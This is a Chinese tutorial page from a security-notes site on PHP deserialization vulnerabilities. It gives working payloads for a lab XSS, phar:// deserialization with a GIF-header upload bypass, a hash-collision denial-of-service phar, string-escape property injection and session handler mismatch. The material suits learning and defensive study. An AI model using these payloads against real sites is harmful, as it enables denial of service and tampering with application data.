网安
  • Develop
    • JAVA学习
      • 字节码
      • API开发
      • Web开发
      • 工程结构推荐
      • 创建第一个项目
      • 权限管控
      • 配置文件
      • 日志管理
      • 数据访问
      • 性能监控
      • IoC容器
      • Spring
      • Filter与Listener
      • jsp
      • MVC
      • servlet-1
      • servlet-2
      • servlet-3
      • servlet-4
      • FreeMarker
      • Thymeleaf
      • EL
      • SpEL
      • JSTL
      • 部署
      • JDBC
      • 数据库连接池
      • fastjson
      • jackson
      • XML
      • JSON
      • 序列化
      • Maven
      • 安装与使用
      • 工具
      • 爬虫
    • GO学习
      • GO
        • flag 包
        • goland 远程调试
        • GoReleaser
        • OS 包
        • time 包
        • 格式化输出
    • Lua学习
      • Lua
      • 基础语法
      • LuaJIT
      • 与系统交互
    • Pyhon
      • 基础
      • Django
      • CLI
      • miniforge
      • MockingBird
      • pdb
      • pyc
      • 装的我脑血栓要犯了
      • Python101
      • 反序列化
      • 爬虫
      • Pillow
      • 图像识别
      • flask
    • Speed-Ruby
      • 入门1
      • 入门2 对象
      • 入门3 创建命令
      • Encoding类
      • File类与Dir类
      • IO
      • Proc类
      • Time类与Date类
      • 正则
      • 错误处理与异常
      • 对象、变量和常量
      • 方法
      • 数值
      • 数组
      • 条件判断
      • 循环
      • 运算符
      • Socket编程
      • 字符串
      • 并发与线程
      • 块
      • 类和模块
      • 散列
    • Web
      • HTTP
        • Connection
        • HTTP 报文
        • Vary
      • 笔记
        • 跳转
        • 认证 & 授权
        • 同源策略(SOP)
        • 文件
    • Git 学习笔记
    • JSON
      • JSON 学习笔记
    • HTML
      • Speed-HTML
      • 语法学习
      • HTML字符实体
    • XML
      • XML 学习笔记
    • 计算机基础
      • 操作系统
      • 计算机组成
      • 算法
      • 内存
      • 字符编码
    • gnuplot 学习笔记
    • regex
  • Integrated
    • Linux
      • God-Linux
      • Secure-Linux
      • Power-Linux
      • IO模型
      • Speed-Linux
      • 发行版
      • 工具
      • 启动过程
      • 进程
      • 认证
      • 日志
      • 守护进程
      • 文件
      • 信息
      • VSFTP 配置案例
      • auditd
      • containerd
      • DNS 配置案例
      • Docker
      • Docker-Compose
      • firewalld 实验
      • gpg
      • Iptables
      • httpd
      • LAMP
      • mysql
      • nfs 配置案例
      • openssl
      • PAM
      • samba 配置案例
      • terraform
      • ufw
      • VSFTP 配置案例
    • Network
      • Speed-Net
      • Power-Net
      • SDN 笔记
      • DNS
      • TLS
    • Windows
      • Secure-Win
      • Speed-Win
      • ACL
      • LDAP
      • IPC$(Internet Process Connection)
      • PDB符号文件
      • 工作组
      • WinRM
      • 角色权限
      • 凭据
      • 签名
      • 日志
      • 认证
      • 协议
      • 信息
      • 应用
      • 组策略
      • 域
      • asp站点搭建
      • Exchange 搭建
      • Windows 故障转移集群
      • Windows 基础服务搭建
      • Windows 域搭建
      • 本地抓包
      • PowerShell 笔记
    • 容器
      • Docker
    • 数据库
      • Speed-SQL
      • Power-SQL
      • MSSQL
      • MySQL
      • Postgresql
      • Redis
      • MySQL大小写问题
      • 主键和外键
      • MySQL快速入门
      • 虚拟化
        • ESXi
        • vCenter
  • Plan
    • Mac-Plan
    • Misc-Plan
    • Team-Plan
    • Thinking-Plan
    • VM-Plan
  • Sercurity
    • Power-PenTest
    • BlueTeam
      • 安全建设
      • 分析
      • 加固
      • 取证
      • 应急
      • USB取证
      • 磁盘取证
      • 内存取证
      • ClamAV 部署
      • yara 实验
      • 安防设施搭建使用
      • ZIP明文攻击
      • 流量分析
    • Crypto
      • Crypto
        • 2020 9 G60攻防大赛
        • CTF
        • 2020 9 中能融合杯工控CTF
        • 2020 10 全国工业互联网安全技术技能大赛江苏省选拔赛
        • 2020 10 全国网络与信息安全管理职业技能大赛江苏场
        • 2020 11 I²S峰会暨工业互联网安全大赛
        • 2021 6 第二届I²S峰会暨工业互联网安全大赛
        • 2021-9-第七届工控信息安全攻防竞赛
        • 2021 9 第七届全国职工职业技能大赛某市县选拔赛
        • 2021 9 全国网络与信息安全管理职业技能大赛江苏场
        • 2021-10-G60攻防大赛
    • CTF
      • CTF
      • writeup
        • 2020 9 中能融合杯工控CTF
        • 2020 9 G60攻防大赛
        • 2020 10 全国工业互联网安全技术技能大赛江苏省选拔赛
        • 2020 10 全国网络与信息安全管理职业技能大赛江苏场
        • 2020 11 I²S峰会暨工业互联网安全大赛
        • 2021 6 第二届I²S峰会暨工业互联网安全大赛
        • 2021-9-第七届工控信息安全攻防竞赛
        • 2021 9 第七届全国职工职业技能大赛某市县选拔赛
        • 2021 9 全国网络与信息安全管理职业技能大赛江苏场
        • 2021-10-G60攻防大赛
    • ICS
      • PLC攻击
      • S7comm 相关
      • 工控协议
      • 上位机安全
      • Modbus 仿真环境搭建
      • siemens 仿真搭建实验
      • S7-300 启停实验
    • IOT
      • 无线电安全
        • RFID复制卡
        • RFID基础知识
        • WiFikiller
      • 硬件安全
        • DIY键盘嵌入指纹识别模块实验记录
        • Device-Exploits
        • HID-Digispark
        • HID-KeyboardLogger
        • HID-USBHarpoon
        • HID-USBKeyLogger
      • 固件安全
        • 固件安全
        • Dlink_DWR-932B 路由器固件分析
    • Mobile sec
      • 小程序安全
      • Android安全
    • PWN
      • SLMail溢出案例
      • PWN
    • Red Team
      • OS安全
        • Linux 安全
        • Exploits
        • NTLM中继
        • Windows 安全
        • Responder欺骗
        • Windows-LOL
      • Web_Generic
        • Top 10
          • RCE
          • Fileread
          • SQLi
          • SSRF
          • SSTI
          • Web Generic
          • XSS
          • XXE
      • Web_Tricks
        • JWT 安全
        • HTTP_request_smuggling
        • OOB
        • 绕过访问
      • 靶场
        • Hello-Java-Sec 学习
        • DVWA-WalkThrough
        • pikachu-WalkThrough
        • upload-labs-WalkThrough
        • XVWA-WalkThrough
        • XSS挑战-WalkThrough
      • 实验
        • flask
        • fastjson
        • Log4j
        • nodejs
        • Shiro
        • Spring
        • Weblogic
      • 前端攻防
      • IDOR
    • 安防设备
      • Exploits
      • Bypass 技巧
    • 后渗透
      • 权限提升
      • 后渗透
      • 权限维持
      • 实验
        • C2 实验
        • Exchange
        • 端口转发实验
        • 代理实验
        • 免杀实验
        • 隧道实验
    • 软件服务安全
      • Exploits
      • CS Exploits
      • 实验
        • Docker
        • Kubernetes
        • Mysql
        • Oracle
        • PostgreSQL
        • Redis
        • vCenter
    • 协议安全
      • Exploits
    • 信息收集
      • 端口安全
      • 空间测绘
      • 信息收集
    • 语言安全
      • 语言安全
        • 语言安全
      • GO安全
        • GO安全
        • Go代码审计
      • JAVA安全
        • JAVA安全
        • JAVA代码审计
        • JAVA反序列化
        • SpEL 注入
      • PHP安全
        • PHP安全
        • bypass_disable_function
        • bypass_open_basedir
        • phpinfo
        • PHP代码审计
        • PHP反序列化
        • PHP回调函数
        • 变量覆盖
        • POP
        • 弱类型
        • 伪协议
        • 无字母数字Webshell
      • Python安全
        • pyc反编译
        • Python安全
        • Python 代码审计
        • 沙箱逃逸
      • dotnet安全
      • JS安全
    • 云安全
      • 公有云安全
    • Reverse
      • Reverse
      • FILE
        • ELF
        • BMP
        • JPG
        • PE
        • PNG
        • ZIP
        • 文件头
      • 实验
        • PYAble
          • 2-逆运算
          • 1-基本分析
          • 3-异或
          • 4-Base64
          • 5-Base64换表
          • 6-动态调试
        • Windows
          • condrv.sys 内存损坏漏洞
    • 工具
      • Aircrack
      • BloodHound
      • Burp Suite
      • frp
      • CobaltStrike
      • Ghidra
      • fscan
      • Hashcat
      • IDA
      • merlin
      • Kali
      • Metasploit
      • Mimikatz
      • ModSecurity
      • Nmap
      • nps
      • nuclei
      • pupy
      • RedGuard
      • SET
      • sliver
      • Snort
      • Sqlmap
      • Suricata
      • Sysmon
      • uncover
      • Volatility
      • Wfuzz
      • Wireshark
      • xray
    • 安全资源
      • 靶机
        • VulnHub
          • DC
            • DC2 WalkThrough
            • DC1 WalkThrough
            • DC3 WalkThrough
            • DC4 WalkThrough
            • DC5 WalkThrough
            • DC6 WalkThrough
            • DC9 WalkThrough
            • DC8 WalkThrough
          • It's_October
            • It’s_October1 WalkThrough
          • Kioptrix
            • Kioptrix2 WalkThrough
            • Kioptrix3 WalkThrough
            • Kioptrix4 WalkThrough
            • Kioptrix5 WalkThrough
          • Mission-Pumpkin
            • PumpkinGarden-WalkThrough
            • PumpkinFestival WalkThrough
            • PumpkinRaising WalkThrough
          • Symfonos
            • symfonos1 WalkThrough
            • symfonos2 WalkThrough
            • symfonos3 WalkThrough
            • symfonos5 WalkThrough
        • Wargames
          • Bandit
            • Bandit-WalkThrough
      • 面试问题
        • 面试问题
Powered by GitBook
On this page
  • 什么是序列化
  • phar://伪协议
  • 直接利用
  • 绕过幻术头检测
  • 哈希表碰撞攻击
  • 反序列化字符逃逸
  • 字符串变长
  • 字符串变短
  • session反序列化
  • 关于session
  • 不同序列化处理器
  • session反序列化利用
  • POP
  1. Sercurity
  2. 语言安全
  3. PHP安全

PHP反序列化

PreviousPHP代码审计NextPHP回调函数

相关文章 & Source & Reference

相关工具


PHP 对不同类型的数据用不同的字母进行标示

a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string

什么是序列化

php 中, 使用函数 serialize() 来返回一个包含字节流的字符串来表示

比如:

class S{
public $test="sd";
}

$s=new S(); //创建一个对象
serialize($s); //把这个对象进行序列化

序列化的结果是:

O:1:"S":1:{s:4:"test";s:2:"sd";}

代表的含义依次是:

O:代表object
1:代表对象名字长度为一个字符

S:对象的名称
1:代表对象里面有一个变量

s:数据类型(string)
4:变量名称的长度
test:变量名称

s:数据类型
2:变量值的长度
sd:变量值

反序列化就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。

使用unserialize()函数

$u=unserialize("O:1:"S":1:{s:4:"test";s:2:"sd";}");
echo $u->test; //得到的结果为sd

序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题

案例

以 pikachu 靶场为例

输入:

O:1:"S":1:{s:4:"test";s:2:"sd";}
# 显示 sd

O:1:"S":1:{s:4:"test";s:30:"<script>alert('test')</script>";}
# 显示 <script>alert('test')</script>

查看源码

class S{
    var $test = "pikachu";
    function __construct(){
        echo $this->test;
    }
}

//O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
$html='';
if(isset($_POST['o'])){
    $s = $_POST['o'];
    if(!@$unser = unserialize($s)){
        $html.="<p>大兄弟,来点劲爆点儿的!</p>";
    }else{
        $html.="<p>{$unser->test}</p>";
    }

}

从源码可以看到反序列化的变量是 post 请求的, post 请求变量名为 o, 通过抓包发现我们输入框输入的值, 正好赋值给 Post 变量 o

然后源码中实现了 unserialize() 函数,进行了反序列化,同时,S 类中的 __construct() 函数被调用。

最后没有对传参进行过滤,否则无法构成目的 Payload。

实战中要更具情况来构造 payload, 能利用的漏洞也远不止 xss,我们可以利用 phar:// 协议触发反序列化,前提是完全可控的文件名。


phar://伪协议

基础知识

  • 伪协议

相关文章

案例

根据 phar 文件结构我们来自己构建一个 phar 文件,php 内置了一个 Phar 类来处理相关操作。

<?php
    class TestObject {
    }

    @unlink("test.phar");
    $phar = new Phar("test.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $o -> data='abc';
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

注意:要将 php.ini 中的 phar.readonly 选项设置为 Off,否则无法生成 phar 文件

访问该 php 页面, 会在文件当前目录下生成一个 phar 文件

很明显的序列化特征,TestObject 这个类已经以序列化形式储存

直接利用

  • 有可利用函数

  • 有可直接利用的魔法方法或pop链

  • 函数参数可控,并且可以输入特殊字符 :、/、phar

<?php
class Test{
	public function __destruct() {
		echo 'i am __destruct(): ';
		echo $this->data.'</br>';
	}
}
include('phar://test.phar');
?>

绕过幻术头检测

phar 在设计时, 只要求前缀为 __HALT_COMPILER(); 而后缀或者内容并未设限, 可以构造文件绕过上传

<?php
    class TestObject {
    }

    @unlink("sd.phar");
    $phar = new Phar("sd.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a","<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
    $o = new TestObject();
    $o->data='sd!';
    $phar->setMetadata($o); //将自定义meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>
<?php
include('phar://sd.gif');
class TestObject {
    function __destruct()
{
        echo $this->data;
    }
}
?>

成功将 meta-data 中 data 数据反序列化出来

哈希表碰撞攻击

在 PHP 内核中,数组是以哈希表的方式实现的,攻击者可以通过巧妙的构造数组元素的 key 使哈希表退化成单链表(时间复杂度从 O(1) => O(n))来触发拒绝服务攻击。

构造一串恶意的 serialize 数据(能够触发哈希表拒绝服务攻击),然后将其保存到 phar 文件的 metadata 数据区,当文件操作函数通过 phar:// 协议对其进行操作的时候就会触发拒绝服务攻击漏洞。

<?php
    set_time_limit(0);
    $size= pow(2, 16);
    $array = array();
    for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
        $array[$key] = 0;
    }
    $new_obj = new stdClass;
    $new_obj->hacker = $array;
    $p = new Phar(__DIR__ . '/avatar.phar', 0);
    $p['hacker.php'] = '<?php ?>';
    $p->setMetadata($new_obj);
    $p->setStub('GIF<?php __HALT_COMPILER();?>');
?>

反序列化字符逃逸

<?php
	class person{
		public $name = 'Bob';
		public $age = 18;
	}

	$P = new person();
	$s = serialize($P);
	echo $s.'</br>';
	var_dump(unserialize($s));
	$s_1 = $s.'abcd';
	echo '</br>'.$s_1.'</br>';
	var_dump(unserialize($s_1));
?>
O:6:"person":2:{s:4:"name";s:3:"Bob";s:3:"age";i:18;}
object(person)#2 (2) { ["name"]=> string(3) "Bob" ["age"]=> int(18) }
O:6:"person":2:{s:4:"name";s:3:"Bob";s:3:"age";i:18;}abcd
object(person)#2 (2) { ["name"]=> string(3) "Bob" ["age"]=> int(18) }

在序列化后的字符串后面加任意字符并不影响反序列化后的输出

在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化 。

<?php
	class person{
		public $name = 'Bob';
		public $age = 18;
	}

	$P = new person();
	$s = serialize($P);
	echo $s.'</br>';
	$s = 'O:6:"person":2:{s:5:"name";s:3:"Bob";s:3:"age";i:18;}';
	unserialize($s);
?>
输出:
O:6:"person":2:{s:4:"name";s:3:"Bob";s:3:"age";i:18;}

Notice: unserialize(): Error at offset 26 of 53 bytes in /serialize.php on line 11

当长度与字符实际长度不符 会报错

<?php
	class person{
		public $name = 'Bob';
		public $age = 18;
	}

	$P = new person();
	$s = serialize($P);
	echo $s.'</br>';
	$s = 'O:6:"person":3:{s:4:"name";s:3:"Bob";s:3:"age";i:18;s:6:"height";i:180;}';
	var_dump(unserialize($s));
?>
O:6:"person":2:{s:4:"name";s:3:"Bob";s:3:"age";i:18;}
object(person)#2 (3) { ["name"]=> string(3) "Bob" ["age"]=> int(18) ["height"]=> int(180) }

可以反序列化类中不存在的元素

字符串变长

<?php
function filter($str){
    return str_replace('x', 'yy', $str);
}
class A{
    public $name='Bob';
    public $pass='123';
}
	$a=new A();
	$s = serialize($a);
	echo $s;

	$res=filter($s);
	echo '</br>after filter:</br>';
	echo $res;

	$c=unserialize($res);
	echo '</br>';
	echo $c->pass;
?>
O:1:"A":2:{s:4:"name";s:3:"Bob";s:4:"pass";s:3:"123";}
after filter:
O:1:"A":2:{s:4:"name";s:3:"Bob";s:4:"pass";s:3:"123";}
123

以上代码限制了输入的内容 当输入 x 时会替换为 yy 若被替换则会出现报错,因为长度与字符实际长度不符

<?php
function filter($str){
    return str_replace('x', 'yy', $str);
}
class A{
    public $name='Bobx';
    public $pass='123';
}
	$a=new A();
	$s = serialize($a);
	echo $s;

	$res=filter($s);
	echo '</br>after filter:</br>';
	echo $res;

	$c=unserialize($res);
	echo '</br>';
	echo $c->pass;
?>
O:1:"A":2:{s:4:"name";s:4:"Bobx";s:4:"pass";s:3:"123";}
after filter:
O:1:"A":2:{s:4:"name";s:4:"Bobyy";s:4:"pass";s:3:"123";}
Notice: unserialize(): Error at offset 31 of 56 bytes in \out.php on line 17

在只能修改 name 值的情况下,要将 pass 改为 456 则需要构造 ";s:4:"pass";s:3:"456";} 其中有 24 个字符

由于在 } 以后的字符都不会影响反序列化, 所以可以填充内容在 } 之后

x 变为 yy 为原来的 2 倍长度 因此我们构造的 playload x 的数量应该为 24 当他变为原来的两倍 时 正好与没加倍时 name 的长度相同 便可以在后面构造 pass 的值

相应 payload

xxxxxxxxxxxxxxxxxxxxxxxx";s:4:"pass";s:3:"456";}
<?php
function filter($str){
    return str_replace('x', 'yy', $str);
}
class A{
    public $name='xxxxxxxxxxxxxxxxxxxxxxxx";s:4:"pass";s:3:"456";}';
    public $pass='123';
}
$a=new A();
$s = serialize($a);
echo $s;
$res=filter($s);
echo '</br>after filter:</br>';
echo $res;
$c=unserialize($res);
echo $c->pass;

?>
O:1:"A":2:{s:4:"name";s:48:"xxxxxxxxxxxxxxxxxxxxxxxx";s:4:"pass";s:3:"456";}";s:4:"pass";s:3:"123";}
after filter:
O:1:"A":2:{s:4:"name";s:48:"yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy";s:4:"pass";s:3:"456";}";s:4:"pass";s:3:"123";}
456

字符串变短

<?php
function filter($str){
    return str_replace('test', '', $str);
}
class A{
    public $name='Bob';
	public $user='bob';
    public $pass='123';
}
	$a=new A();
	$s = serialize($a);
	echo $s;
	$res=filter($s);
	echo '</br>after filter:</br>';
	echo $res;
	$c=unserialize($res);
	echo '</br>';
	echo $c->pass;
?>
O:1:"A":3:{s:4:"name";s:3:"Bob";s:4:"user";s:3:"bob";s:4:"pass";s:3:"123";}
after filter:
O:1:"A":3:{s:4:"name";s:3:"Bob";s:4:"user";s:3:"bob";s:4:"pass";s:3:"123";}
123

这里将 test 替换为空,

<?php
function filter($str){
    return str_replace('test', '', $str);
}
class A{
    public $name='test';
	public $user='bob';
    public $pass='123';
}
	$a=new A();
	$s = serialize($a);
	echo $s;
	$res=filter($s);
	echo '</br>after filter:</br>';
	echo $res;
	$c=unserialize($res);
	echo '</br>';
	echo $c->pass;
?>
O:1:"A":3:{s:4:"name";s:4:"test";s:4:"user";s:3:"bob";s:4:"pass";s:3:"123";}
after filter:
O:1:"A":3:{s:4:"name";s:4:"";s:4:"user";s:3:"bob";s:4:"pass";s:3:"123";}
Notice: unserialize(): Error at offset 31 of 72 bytes in \out_1.php on line 18

name 的内容为空 但是大小为 4

相当于我们要闭合掉 ";s:4:"user";s:3:" 的内容

同样的,当仅 name 和 user 的值可控的情况下,需要通过 "; 来构造闭合

相应 payload

public $name='testtesttesttesttest';
public $user='a";s:4:"user";s:3:"bob";s:4:"pass";s:3:"456";}';
<?php
function filter($str){
    return str_replace('test', '', $str);
}
class A{
    public $name='testtesttesttesttest';
	public $user='a";s:4:"user";s:3:"bob";s:4:"pass";s:3:"456";}';
    public $pass='123';
}
	$a=new A();
	$s = serialize($a);
	echo $s;
	$res=filter($s);
	echo '</br>after filter:</br>';
	echo $res;
	$c=unserialize($res);
	echo '</br>';
	echo $c->pass;
?>
O:1:"A":3:{s:4:"name";s:20:"testtesttesttesttest";s:4:"user";s:46:"a";s:4:"user";s:3:"bob";s:4:"pass";s:3:"456";}";s:4:"pass";s:3:"123";}
after filter:
O:1:"A":3:{s:4:"name";s:20:"";s:4:"user";s:46:"a";s:4:"user";s:3:"bob";s:4:"pass";s:3:"456";}";s:4:"pass";s:3:"123";}
456

session反序列化

关于session

session_start()

当会话自动开始或者通过 session_start() 手动开始的时候,PHP 内部会依据客户端传来的 PHPSESSID 来获取现有的对应的会话数据(即 session 文件), PHP 会自动反序列化 session 文件的内容,并将之填充到 $_SESSION 超级全局变量中。如果不存在对应的会话数据,则创建名为 sess_PHPSESSID(客户端传来的) 的文件。如果客户端未发送 PHPSESSID,则创建一个由 32 个字母组成的 PHPSESSID,并返回 set-cookie。

存储机制

php 中的 session 以文件的方式来存储的,存储方式就是由配置项 session.save_handler 来确定,默认是以文件的方式存储。

存储的文件是以 sess_sessionid 来进行命名的,文件的内容就是 session 值的序列话后的内容。

不同序列化处理器

session.serialize_handler

session.serialize_handler 定义用来序列化/解序列化的处理器名字。 当前支持 PHP 序列化格式 (名为 php_serialize)、 PHP PHP 内部格式 (名为 php 及 php_binary) 和 WDDX (名为 wddx)。

自 PHP 5.5.4 起可以使用 php_serialize。 php_serialize 在内部简单地直接使用 serialize/unserialize 函数,并且不会有 php 和 php_binary 所具有的限制。

<?php
	//ini_set('session.serialize_handler', 'php');
	//ini_set("session.serialize_handler", "php_serialize");
	//ini_set("session.serialize_handler", "php_binary");
	session_start();
	$_SESSION['edd1e'] = $_GET['a'];
	var_dump($_SESSION);
?>

查看不同类型下序列化的字符串

php:            edd1e|s:3:"abc";
php_binary:     edd1es:3:"abc";
php_serialize:  a:1:{s:5:"edd1e";s:3:"abc";}

session反序列化利用

Session 的实现没有问题,但 Session 序列化引擎配置使用不当就会造成利用

以 php_serialize 格式来存储,用 php 机制来读取

存储session

# session.php

<?php
	ini_set("session.serialize_handler", "php_serialize");
	session_start();
	$_SESSION['edd1e'] = $_GET['a'];
	var_dump($_SESSION);
?>

读取session

# session_read.php

<?php
	ini_set("session.serialize_handler", "php");
	session_start();
	class test {
		public $data;
		function __wakeup(){
			echo $this->data;
		}
	}
?>

生成playload

<?php
	class test {
		public $data = 'hack';
	}
	$o = new test();
	echo serialize($o);
?>

O:4:"test":1:{s:4:"data";s:4:"hack";}

将 playload 前面加上 | 输入到 session 里

/session.php?a=|O:4:"test":1:{s:4:"data";s:4:"hack";}
array(1) {
  ["edd1e"]=>
  string(38) "|O:4:"test":1:{s:4:"data";s:4:"hack";}"
}

打开读取 session 页面输出构造的内容

在 php 模式下 格式为键名+竖线+经过 serialize0 函数反序列处理的值

储存的 session 字符串为

a:1:{s:5:"edd1e";s:38:"|O:4:"test":1:{s:4:"data";s:4:"hack";}

反序列化的就是后面的字符串,所以成功输出


POP

  • POP

Web安全 | PHP反序列化入门这一篇就够了
php反序列化练习题
php反序列化知识点总结
php 在线反序列化工具
blackhat议题深入 | phar反序列化